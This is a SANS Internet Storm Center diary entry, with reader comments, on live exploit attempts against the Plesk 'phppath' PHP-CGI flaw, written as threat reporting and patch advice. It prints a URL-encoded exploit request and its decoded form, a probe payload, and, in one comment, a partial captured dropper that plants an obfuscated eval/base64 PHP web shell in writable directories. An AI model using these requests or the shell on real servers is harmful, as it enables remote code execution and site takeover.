SANS ISC: More heavily URL encoded PHP Exploits against Plesk "phppath" vulnerability - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

Thanks to a reader for sending in this log entry from his Apache Server:

POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F
%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E
%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E
%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F
%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1

Russ quickly decoded it to:

/phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -nT

This appears to be an exploit attempt against Plesk, a popular hosting management platform. A patch for this vulnerability was released in June [1]. We covered the vulnerability before, but continue to see exploit attempts like above. The exploit takes advantage of a configuration error, creating the  script alias "phppath" that can be used to execute shell commands via php. The exploit above runs a little shell one-liner that accomplishes the following:

• allow URL includes to include remote files
• turn off safe mode to disable various protections
• turn of the suhosin patch (turn it into "simulation mode" so it doesn't block anything
• set the "disabled function" to an empty string to overwrite any such setting in your php configuration file
• and autoprepending "php://input", which will execute any php scripts submitted as part of the body of this request

Please let us know if you are able to capture the body of the request!

Thanks to another reader for submitting a packet capture of a full request:

The Headers:

Host: <IP Address>
Content-Type: application/x-ww-forum-urlencoded
Content-Lenght: 64

<?php echo "Content-Type: text/html\r\n\r\n"; echo "___2pac\n"; ?>

This payload will just print the string ___2pac, likely to detect if the vulnerability exists. No user agent is sent, which should make it easy to block these requests using standard mod_security rules.

 

[1] http://kb.parallels.com/en/116241
[2] https://isc.sans.edu/diary/Plesk+0-day+Real+or+not+/15950

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

I will be teaching next: Defending Web Applications Security Essentials - SANS Munich March 2019

This is the body of the POST that went through my network:
<?php echo "Content-Type:text/html\r\n\r\n";echo "___2pac\n"; ?>HTTP/1.1

Thanks for providing the body. I added it to the article. Now the next question: What will they send if the "___2pac" string is returned. Tempted to add that to some of my pages

Looks like the Plesk vuln scanner sent to Pastebin in June (http://pastebin.com/mKvFNdzp)

Silly question, where do you start to fix or workaround?

Parallels offers patches for the problem here: kb.parallels.com/en/…

Quote:
Customers on Plesk Panel 9.0 through 9.2.3 should do the following:

• Upgrade to the latest version of Plesk. Plesk 11 has been available for one year now. Plesk 11.5 has many improvements and will be available on June 13. At the very least, update to Plesk Panel 9.5.4 (will be end-of-life soon), which has a special PHP wrapper protecting it from the PHP issue, along with a solution that avoids the phppath attack vector.

• Update PHP to protect against the CVE-2012-1823 vulnerability (see kb.parallels.com/en/…).

• Parallels has prepared a script for automatic updating of the server, if a Plesk Panel update is not possible.

I wonder whose brilliant idea it was to have a PHP command line option for overriding php.ini defined security settings?

I for one think PHP needs a new option

lock_settings_list="disable_functions ...."

or some other mechanism to specify "PHP Ini settings that cannot be overriden, period; no matter what."

Caught partially this

{ if (is_writable($pfile)) $wdirs[]=$pfile; if ($level>
0) $wdirs = array_merge($wdirs,scandirs($pfile , $level-1)); } } closedir($handle); return $wdirs; } $sn='';$r=rand(5,8);for($i=0;$i
<$r;$i ){$sn.=chr(rand(97,122));}$sn.='.php'; $dr = $_SERVER['DOCUMENT_ROOT']; $dr = ($dr[strlen($dr)-1]=='/' || $dr[strlen($dr)-1]=='\\')?substr($dr, 0 , strlen($dr)-1):$dr; $wa_dirs = scandirs($dr , 2); if(is_writeable($dr))$wa_dirs[]=''; //print_r($wa_dirs); foreach ($wa_dirs as $d) { $spn=substr($d, strlen($dr)).'/'.$sn; if($f=fopen($dr.$spn,'w')){ fputs($f,"
<?php eval(base64_decode('Lyo7...ldOUycqLy8qUT5WKi87Lyo0WlgqLw==')); ?>
");fclose($f); exit('--start-check'.'string--'.$spn.'--end-check'.'string--'); } }

It is basic shell which executes command in $_REQUEST['emydtf']